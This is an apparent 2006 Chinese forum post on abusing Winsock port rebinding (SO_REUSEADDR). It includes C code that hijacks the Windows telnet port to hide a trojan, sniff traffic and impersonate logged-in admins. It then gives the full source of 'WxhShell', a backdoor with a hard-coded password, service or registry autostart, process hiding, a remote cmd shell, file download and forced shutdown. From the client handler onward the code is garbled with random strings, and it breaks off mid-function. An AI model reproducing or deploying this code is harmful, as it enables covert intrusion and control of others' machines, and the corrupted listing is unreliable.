[讨论]用端口截听实现隐藏嗅探与攻击

ヾ1.嗰rёn

级别: 终身会员

发帖: 3743

铜板: 8

人品值: 493

贡献值: 9

交易币: 0

好评度: 3746

信誉值: 0

金币: 0

所在楼道

只看楼主更多操作楼层直达

0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; 1%Hc/N-
if(chr[0]==0xd || chr[0]==0xa) { 1OI/!!t1$
pwd=0; `%S 35x9
break; x6yYx_
} DR]=\HQ
i++; oVlh4"y#Lf
} eka<mq|W
u7||]|2
// 如果是非法用户，关闭 socket (U@Ks )
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q$,AQyBlqc
} JR6r3W
ZZ'5BfI"I%
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;Aqj$ x
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q Ev7k
oRkh>yj'
while(1) { L5[{taZ,
L(RI4d
ZeroMemory(cmd,KEY_BUFF); lKdd3W"o
sdp3geBYo
// 自动支持客户端 telnet标准 m&MAA^I
j=0; d#8 n<NM
while(j<KEY_BUFF) { X!xmto
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 33},lNS|
cmd[j]=chr[0]; k\76`!B
if(chr[0]==0xa || chr[0]==0xd) { OsT|MX
cmd[j]=0; B6kc9XG
break; =;Q:z^S
} ;mT
j++; !!k^M"e2
} c/DK31K
x^zw1e,y
// 下载文件 Q}9!aB,
if(strstr(cmd,"http://")) { pC~M5(F_
send(wsh,msg_ws_down,strlen(msg_ws_down),0); EVlj#~mV
if(DownloadFile(cmd,wsh)) QHXA?nBX
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [H[L};%=j
else 5pT8 }?7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F|jl=i
} ,njlKkFw^Z
else { )+Y"4?z~
9.%t9RM^
switch(cmd[0]) { W)Ct*I^
O9P+S|hcY
// 帮助 b:5-0uxjs
case '?': { k|,Y_h0Y
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [l/!&6
break; j{j5TvsrY
} 43 vF(<r&f
// 安装 5Gs>rq" #
case 'i': { 7B<,nKd
if(Install()) $1$0M
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -2[#1S*
else ur.krsU
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q9wObOS$
break; bg!(B<!X
} "O'c.v?{x
// 卸载 @j!(at4B
case 'r': { tI@aRF=p]2
if(Uninstall()) UEx13!iFo
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "IB36/9
else A%2B3@1'q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nE +H)%p
break; 02tt.0go
} ohbU~R3{U
// 显示 wxhshell 所在路径 r.'xqzF/
case 'p': { Lk!m1J5
char svExeFile[MAX_PATH]; m_;fj~m
strcpy(svExeFile,"\n\r"); }L(ZLt8Q
strcat(svExeFile,ExeFile); Xt:$H6 y
send(wsh,svExeFile,strlen(svExeFile),0); kia[d984w
break; Qd~z<U l
} Ph%{h"
// 重启 /* qx5$~
case 'b': { ">G*hS
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B~E">}=!
if(Boot(REBOOT)) nw\C+1F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +SF+$^T
else { I`(53LCqo
closesocket(wsh); ImG8v[Q E
ExitThread(0); <5D4h!
} 5'NNwc\
break; 2Mk;r*FT
} EcL6lNTR+
// 关机 7)]boW~Q
case 'd': { kc0MQ TJU
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q 8Hl7__^
if(Boot(SHUTDOWN)) f]#\&"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;-8.~Sm
else { 9DJ&J{2W
closesocket(wsh); -yB}(69
ExitThread(0); |,@D<
} O-HS)g$2
break; _qR?5;v
} U+qyS|i
// 获取shell _Iminet
case 's': { X5YOxMq
CmdShell(wsh); t 86w&
closesocket(wsh); _\KFMe=PV
ExitThread(0); e2v`
break; <zR{'7L/
} Et!J*{s
// 退出 SFRP ?s
case 'x': { EP#2it]0]
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !DzeJWM|
CloseIt(wsh); wv\K
break; Sc]K-]1(H
} 'o6}g p)
// 离开 wYf\!]}'
case 'q': { beBG40
send(wsh,msg_ws_end,strlen(msg_ws_end),0); JyZuj>` 6
closesocket(wsh); )`rD]0ua;
WSACleanup(); :c~SH/qS
exit(1); f]8MdYX(
break; y<kUGsD
} w[ v{)
} z )'9[t
} sko7,&
ySr,HXz
// 提示信息 a5pl/d
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $KYGQP
} R>O_2`c
} KE3`5Y!
g %mCgP
return; 7S}0Kuk)
} OW@%H;b
E%bhd4$G
// shell模块句柄 %`C*8fc&
int CmdShell(SOCKET sock) FuiR\"Ww
{ UON=7}=$&
STARTUPINFO si; d}4NL:=&
ZeroMemory(&si,sizeof(si)); Nu6NyYs
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OM[MRZEh G
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AB'+6QU9k
PROCESS_INFORMATION ProcessInfo; LZn'+{\`
char cmdline[]="cmd"; p[C"K0>:_F
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^[7Mp
return 0; RqTO3Kf
} {!|4JquE_
8X7??f1;Y
// 自身启动模式 "@&TC"YG0
int StartFromService(void) 5`.CzQVb
{ A4tk</A
typedef struct :cC$1zv@
{ P+j=]Yg
DWORD ExitStatus; z?\it(
DWORD PebBaseAddress; F"]P|
DWORD AffinityMask; :/T\E\Qr
DWORD BasePriority; Y6v{eWtSn
ULONG UniqueProcessId; G]=z ![$
ULONG InheritedFromUniqueProcessId; xG/Q%A
} PROCESS_BASIC_INFORMATION; Bz ;r<Kn
'3b\d:hN
PROCNTQSIP NtQueryInformationProcess; bp?5GU&Uy
2$Mnwxfk
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j?2~6W/[
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N[/<xW~x?4
Ks%0!X?3q
HANDLE hProcess; 1tNL)x"w
PROCESS_BASIC_INFORMATION pbi; L0wT:x*
%l7[eZ{Y
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #3rS{4[
if(NULL == hInst ) return 0; ;MS.ag#
Pzso^^g
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }93kHO{
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H3rA ?F#+*
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e"04jd/
A"JdG%t>.h
if (!NtQueryInformationProcess) return 0; ~n]5iGz
.==D?#bn
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;@ePu
if(!hProcess) return 0; *E/Bfp1LIe
stRM*.
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rwq
Z Ts*Y,
CloseHandle(hProcess); :TQp,CEa
T)mQ+&|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z0 9Gp}^;
if(hProcess==NULL) return 0; 60+zoL'
ZE=sw}=
HMODULE hMod; M/<ypJ
char procName[255]; \jC) ;mk
unsigned long cbNeeded; =<n ]T;
kk=n&M
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9mi@PW}1
(e7!p=D
CloseHandle(hProcess); gnp.!-
f-F=!^.
if(strstr(procName,"services")) return 1; // 以服务启动 Xw4Eti._D
9kD#'BxC
return 0; // 注册表启动 JQM_96\
} }QI \K
1-gM)x{Jr
// 主模块 Ux_tzd0!
int StartWxhshell(LPSTR lpCmdLine) ^?lpY{aa
{ NljpkeX'
SOCKET wsl; ,l>w9?0Z
BOOL val=TRUE; 2y!n c%
int port=0; /!Rva"
struct sockaddr_in door; 6Ryc&z5
iV{_?f1jo
if(wscfg.ws_autoins) Install(); !BoGSI
+p\E%<uQ
port=atoi(lpCmdLine); d4b! r
31G:[;g
if(port<=0) port=wscfg.ws_port; [E9iuym
vU>^
WSADATA data; \:m~ +o$<-
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q-z1ElrN7u
u#ya 8
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; N]W*ei
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =Z+^n ?"
door.sin_family = AF_INET; FS"Ja`>j~
door.sin_addr.s_addr = inet_addr("127.0.0.1"); :I#.d7`uk
door.sin_port = htons(port); q{9vY:`[
#eJfwc1JY
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ':4ny]F
closesocket(wsl); )>ff"| X
return 1; iF`_-t/k
} od!44p]
"r6qFxY
if(listen(wsl,2) == INVALID_SOCKET) { b()8l'x_|K
closesocket(wsl); "W5MZ
return 1; C@-Hm
} 0L>3i8'
Wxhshell(wsl); Qy:yz
WSACleanup(); l4RqQ+[KA;
-)-:rRx-
return 0; |co#X8J
ewcFzlA@
} yD<#Q\,
3Y P! B=
// 以NT服务方式启动 2[Bbdg[O
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0@_8JB ?E
{ IEm?'o:
DWORD status = 0; OG#^d5(
DWORD specificError = 0xfffffff; #Shy^58$
%>K(IRpMW
serviceStatus.dwServiceType = SERVICE_WIN32; iB0r+IbR
serviceStatus.dwCurrentState = SERVICE_START_PENDING; UusAsezm:
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jpi,BVTI-X
serviceStatus.dwWin32ExitCode = 0; -F`gRAr-
serviceStatus.dwServiceSpecificExitCode = 0; @IL@|Srs8
serviceStatus.dwCheckPoint = 0; yMW3mx301j
serviceStatus.dwWaitHint = 0; 9{u/|,rq1
di_N}x*
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1N),k5I
if (hServiceStatusHandle==0) return; ~/4j&IG
WA}'[h
status = GetLastError(); ->|eMV'd
if (status!=NO_ERROR) em'3 8L|(
{ SMvlEj^
serviceStatus.dwCurrentState = SERVICE_STOPPED; pe[huYE
serviceStatus.dwCheckPoint = 0; f$ /C.E
serviceStatus.dwWaitHint = 0; 1q'_J?Xmd
serviceStatus.dwWin32ExitCode = status; '1!%yKc0
serviceStatus.dwServiceSpecificExitCode = specificError; (q"S0{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); |x.[*'X@
return; s,J\nbj0h
} PJb/tKC
6jr}l
serviceStatus.dwCurrentState = SERVICE_RUNNING; ^N}{M$
serviceStatus.dwCheckPoint = 0; MXVCu"g%
serviceStatus.dwWaitHint = 0; [HXd|,~_j-
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L%7WHtU*#
} "`K73M,c?9
6wiuNGZb
// 处理NT服务事件，比如：启动、停止 0Q%I[f8
VOID WINAPI NTServiceHandler(DWORD fdwControl) g7%vI8Y)@
{ ygm=q^bV]s
switch(fdwControl) 'e))i#/VF
{ 8QFRX'i
case SERVICE_CONTROL_STOP: .Xta;Py|J
serviceStatus.dwWin32ExitCode = 0; =aT8=ihP
serviceStatus.dwCurrentState = SERVICE_STOPPED; IxG0TJ_
serviceStatus.dwCheckPoint = 0; A}!D&s&UH
serviceStatus.dwWaitHint = 0; -% B)+yq>
{ Sr10ot&ox
SetServiceStatus(hServiceStatusHandle, &serviceStatus); <Dnv=)Rq
} USf;}F:-C
return; uN9.U _
case SERVICE_CONTROL_PAUSE: hEFn>
serviceStatus.dwCurrentState = SERVICE_PAUSED; 2\}6b4
break; "^pF2JI
case SERVICE_CONTROL_CONTINUE: (B+zh
serviceStatus.dwCurrentState = SERVICE_RUNNING; (j}Wt8
break; +]Bx4r?p
case SERVICE_CONTROL_INTERROGATE: z81`Lhg6
break; AQBr{^inH|
}; 9hwn,=Vh)
SetServiceStatus(hServiceStatusHandle, &serviceStatus); h8SK8sK<
} D2Kh+~l
`4]-B@ 7_
// 标准应用程序主函数 Xo4K!U>TzZ
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vw q Y;7
{ WAw} ?&k
- zEQ/6
// 获取操作系统版本 "6'# L,
OsIsNt=GetOsVer(); bO{wQ1)Z_
GetModuleFileName(NULL,ExeFile,MAX_PATH); $ "^yoL
My>{;n=}
// 从命令行安装 I'uRXvEr7
if(strpbrk(lpCmdLine,"iI")) Install(); dJg72?"ka
Oz,/y3_
